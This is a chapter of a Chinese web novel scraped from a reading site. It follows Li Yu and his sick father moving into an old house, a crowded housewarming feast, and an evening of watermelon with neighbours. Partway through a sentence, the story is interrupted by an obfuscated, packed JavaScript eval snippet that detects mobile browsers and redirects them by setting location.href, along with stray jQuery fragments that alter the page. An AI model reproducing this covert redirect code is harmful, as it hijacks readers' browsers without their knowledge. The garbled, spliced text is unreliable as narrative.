默认冷灰
24号文字
方正启体

15. 搬家

作者:泉起本书字数:K更新时间:
    李江河是个好父亲不假,但从来不惯儿子,李虞也不是个娇生惯养的大少爷,干起活来还挺是那么回事。


    不到一周的时间,房子里里外外都收拾好了,狗啃的院子用石板铺平,门窗换上了新的,屋里也简单刷了一遍。


    正式搬到十二巷这一天很热闹,当十多口人涌进院子时李虞才知道这里还有这样的风俗。


    正经说这叫乔迁之喜,不过李虞看着这套即便收拾好也很显陈旧的房子,真的不知道喜在哪里。


    因着正式搬家,李涛跟李山河都歇了一天,这天中午李虞粗略看了一下,老李家的亲戚还真是不少。


    没了杂草的院子看起来格外宽敞,一方院子摆了五桌酒席,男的女的老的少的,一院子的嘈杂声。


    李虞跟着他爸认了好多人,这个姨那个姑,这些不认识的亲戚话说的很漂亮,夸他长得好,夸他有出息,也夸李江河有福气。


    李虞端着杯子挨桌过,笑的感觉脸僵的都不是自己的了。


    下午三点多这一院子人才陆陆续续地离开,剩下几个人坐在院子的水龙头边儿帮忙收拾碗碟。


    这些东西都是李涛弄来的,听说这里的十里八乡都有出租桌椅的地儿,红白喜事全是这一套,他们管租东西的人叫管事儿的。


    那只大红盆里放满了碗碟,几个女人就一边儿洗一边儿扯闲篇,李虞帮他爸挡了好些酒,坐在门口的马扎上正缓神儿。


    “李涛,你来把洗干净的放大盆里,等退的时候好退。”说话的叫李瑛,是李涛的姐姐。


    “你自己去吧,”李涛在李虞旁边抽烟,连脚指头都懒得动,“我累死了。”


    你都吃一下午了,有什么好累的呢。


    “我来....我来。”李虞晃晃悠悠地起身,然后在一声尖锐的呼声后就失去了意识。


    摔倒的前一秒,李虞想,他大概是真的喝多了。


    再睁眼是周围一片黑暗,院外有清脆的虫鸣声,老房子也有一点好处,冬暖夏凉,五月中下旬的天儿,李虞躺在床上只觉冷的不正常。


    “醒了?”灯一开,刺目的光亮充满了这间老房子,李江河坐在另一头,手边的杯子冒着白色的雾气。


    这套房是个通房,就一个长方形的空间,以前农村基本都是这种格局,没有客厅卧室之分。


    屋里只有两个陈旧的枣红色衣柜,一张很宽的床,头顶原先是一盏暗沉沉的灯泡,李虞嫌光线不好,自己换了一个白炽灯,但是光线亮了之后弊端也很明显,墙壁只薄薄刷了一层白,干透之后原先的缝隙又裂了出来,轻易就能看到原先的斑驳以及石砖缝隙里潮湿的尘土。


    屋顶还是老式风格,干草铺就中间用几根粗壮的房梁压着,李虞看着房顶,总觉得里面的陈年老灰永远也掉不完。


    窗户根儿下搭了一张简易的桌子,上面放着新买的电磁炉以及两双碗筷,李江河放下杯子:“我煮了粥,起来喝点吧。”


    脑子蒙的转不开,李虞撑身坐起来:“几点了。”


    “九点多了。”李江河说。


    过去盛饭时李虞发现这屋里多了一张沙发,他爸就懒洋洋地坐在沙发上,看样子挺知足,他问:“沙发哪儿来的?”


    这沙发今早搬家的时候还没有,李江河拍了拍沙发背:“这个是三大妈给的,他儿子新装修房子,旧家具不要了,你睡着那会儿给搬来的。”


    棕色的皮质沙发,能看出使用的痕迹,但远比这间屋子新很多。


    “爸,以后别要别人不要的东西了。”李虞执着地说,“你想要什么,我可以买。”


    李江河没那么多想法,笑着说:“省点儿是点,能用就行了呗,挑什么。”


    “算我求你了。”李虞蹲下来,扶着他爸的膝盖,“行吗?”


    灯光再怎么亮,到角落处仍然显得很黯淡,李江河与他对视了很久,缓缓地叹口气:“好。”


    一锅煮的软绵的小米粥,加上中午剩的一点菜,父子俩就在窗户根儿这张简单的桌子上解决了晚饭。


    “先凑合几天吧,”李虞收拾好碗筷端在手里,“等弄好厨房就能在外面做饭了。”


    来到这座城市时只带了衣物,其他生活用品都没有,电磁炉还是今天在路边的商店里随便买的,李江河说他爸妈在这儿住的时候屋子里非常满,做饭也在屋里,那时候人没那么多讲究,家里孩子多,谁还管整齐不整齐,饿不着就行了。


    但李虞不这么想,既然生存环境无法改变,至少要在自己有把握的范围内尽可能的地舒适一些,李涛懂得很多,会的也不少,前几天就说好了,等搬过来后他找人拉一些石棉瓦,就在外面搭个简单的厨房。


    “我去外面洗碗,你歇着吧。”李虞端着碗出去了。


    今晚月色不错,地下的石板上洒了一层淡淡的光辉,院子里新接的水龙头反射着银色的光点,李虞洗着碗筷,内心惆怅又感慨。


    这就搬过来了。


    快洗完时外面隐约传来一阵噔噔噔的脚步声,很标志性的吴满脚步声,不过除了他的,听着还有另外几个人,随着嘈杂声越来越近,李虞犹豫了一下,接着抬头过去,恰好看见吴绰一行人到了家门口。


    吴绰的人影在那几个人里很好辨认,瘦且挺拔,与那双眼睛对视上的瞬间,李虞觉得‘关系需要维护’这话说的很有道理,瞧瞧那位的眼神吧,多么的冷漠。


    不过李虞着实误会了,吴绰不是冷漠,而是真的累懵了。


    姜头儿说是就请几天假,实际上快十来天了都没来,恰巧工厂来了一批急活,这阵子天天加班到九十点,老吴炸串都暂时歇业了。


    看到对门院里亮起的那盏小灯时吴绰还迷茫了一下,迷茫过后反应过来,哦,从今天起对面住人了。


    危房收拾的已经不像危房了,连那扇破破烂烂的铁栅栏门也换了一个新栅栏门,虽然屋里屋外的设施可以换,但地势无法轻易改变。


    李虞家院门口下来是个小斜坡,下了斜坡是院子,再延伸到房子里,其实不算太陡,却也是四周最低矮的一处。


    “李虞,你今天就搬进来了?”赵常茂腾腾腾地跑下来,打量着四周,“可以啊,简直焕然一新。”


    吴满跟宋驰紧跟着也到了院里,宋驰一手拎了一只西瓜,也夸道:“头两天还乱成一团呢,收拾好了还挺是那么回事儿,累坏了吧?”


    说实话,李虞跟他俩平时没怎么说过话,也是因为一点认生在,不太愿意与他抗拒世界里的人产出渊源。


    然而此时他们两个稀疏平常的两句话,却让李虞感到比那一堆认不清的亲戚还要亲切几分。


    “还行,”李虞说,“没那么累。”


    “今儿肯定请客了吧。”赵常茂吸了吸鼻子,打趣道,“老王饭馆订的菜,你不早说今天搬,我们也能给你帮帮忙,再蹭你顿饭吃。”


    “来颗西瓜。”宋驰随手放下一颗瓜,“我舅家开超市的,新上的瓜,算我们给你新院子闹一闹。”


    今天来的亲戚也不是空手来的,大多都是拿吃的,方便面水果什么的都有,只有李涛送了台冷风扇,说后面天气越来越热,空调不值当买了,冷风扇足够了。


    距离李涛说这席话时也就隔了几个小时,但李虞已经忘了他说话时的神色,他只记得当时的感受,想吐又想哭。


    李虞接受了那颗西瓜:“我去屋里拿个桌子,切了一起吃吧。”


    “我们还有呢,”赵常茂摆手,“给你跟李叔的,你俩吃。”


    “别,”李虞坚持道,“这瓜挺大,我俩吃不完,一起吃完你们再走。”


    李虞从屋里把他爸叫了出来,把那张简易的小桌子一并拎到了院里,刚挪过来,很多东西没有置办,眼下最缺的就是板凳了。


    吴绰一直没进来,就在院门口听着他们聊天,当李虞看过来时,吴绰叫了声小满,也没使那套只可意会不可言传的动作,开口指明:“去拿凳子。”


    李虞心道,你怎么不点脚呢,这么多人你就点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024027|194304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呗,累死你丫的。


    宋驰跟小满一块儿去了,没一会儿,俩人手里拎了好几把小板凳过来。


    几个人围着小方桌坐下吃瓜。


    空荡的小院儿一下子热络了起来,赵常茂很爱说话,首当其冲地跟李虞介绍这条巷子的左邻右舍。


    其实在五金城,大家的生活步调基本一致,白天上班晚上休息,没事儿打打孩子,或者闲上一时半晌坐在一堆儿说说家长理短。


    赵常茂重点介绍了一下岳老太,其实他不介绍李虞那天也领教了这位老人的威力,正当赵常茂一脸愤慨地熟络岳老太各种不是的时候,李江河扔下刚啃完的西瓜皮,提醒他说:“这孩子,别总说岳婶了。”


    “李叔,你是不知道。”赵常茂胡乱地擦了两下嘴,“我知道你想说老太太刀子嘴豆腐心,可她那嘴可太刀子了,是吧我吴儿。”


    吴绰刚擦完手,本来要顺着习惯嗯嗯两声含糊他兄弟,但顿了一下手,居然顺着李江河的话:“别瞎唠叨,你嘴碎死了。”


    “嘿!你胳膊肘怎么还往外拐了。”赵常茂捏起桌上一颗西瓜籽扔他身上,“活该被她骂。”


    吴绰笑了笑没接话。


    “李叔,咱头几天见得少,”赵常茂突然调转话题,凑近了李江河说,“你这刚从大城市里回来没几天,怎么晒的黄瘦黄瘦的。”


    啪嗒一声,李虞手里的瓜掉了。


    宋驰连忙杵了赵常茂一下。


    小院儿里的气氛有一瞬间微妙的凝滞,李江河一脸坦然,笑道:“身体不太好,吃不下东西。”


    他这么一说,几个人都想起了赵常茂说的情报,李江河回老家,是来养病的。


    这下就不好深问了,尤其李虞这会儿脸色难看的很明显。


    “走了。”吴绰起身捡起身边的塑料袋,将瓜皮收拾好,“李哥,你们早点睡。”


    话音一落,其余几人齐齐啧他,就连李虞也嫌弃地往他这边儿扫了下,又是赵常茂先开口:“咱各论各的行不行,别那辈分往我们身上套,你好意思管李叔叫哥?”


    按正常来算,李江河的年纪当他爹绰绰有余。


    “吴绰,叫叔吧,咱俩家这亲戚关系搁古代都算不到九族内,你这声哥我真不敢答应。”李江河笑着打岔,“横不能你让李虞管你叫叔吧?你俩看着可差不多大。”


    吴绰让李虞那儿看了眼,主动玩笑道:“小李,这声叔叔叫的出来吗?”


    挤在一堆儿吃瓜时他俩基本没说话,李虞脸色依然不太好,回看了他一眼,没说话,又低下了头。


    “跟你说话呢,”李江河推了他一下,又不好意思地对几人笑笑,“他今天下午喝多了,还懵着呢,回头让他请你们吃饭。”


    屋檐下那盏昏黄的灯模糊了李虞的脸部线条,唯有那双睫毛下的阴影被拉的好长,他的肩膀乃至整个身体都侧向李江河那边,但从吴绰的角度看,他对这帮不速之客的抵抗之意很明显。


    “是么?”吴绰意义不明地笑了声。


    李江河诧异地看了看二人。


    “行啊,有时间咱随时聚,”非要问一句才会答一句的赵常茂才没那么多弯弯绕绕,一边啃瓜一边攒热闹没够地说,“外面家里都行,我们这儿好吃的不少,带你吃个够。”


    “反正离得近了,怎么都方便。”宋驰也应着说。


    说起吃饭李虞没忘了还欠吴绰跟吴满一顿饭,很显然,那天一点儿都不激烈,甚是说不上是冲突的谈话,让他们互相踩到了彼此的某根雷线上。


    虽然莫名其妙地闹着不愉快,但那顿表达感谢地饭不能就这么揭过去,这不是他的风格。


    李虞抽张纸,对几人嗯了声。


    说笑一通,几人就这么散了,李江河拎着小方桌先回了屋,李虞送几人到了院门口。


    吴绰走在最后,走出小院儿时他停下脚步,回头跟李虞对上眼神后他忽然弯了下唇角,冷不丁地扔了句——


    “李虞,你气性还挺大。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)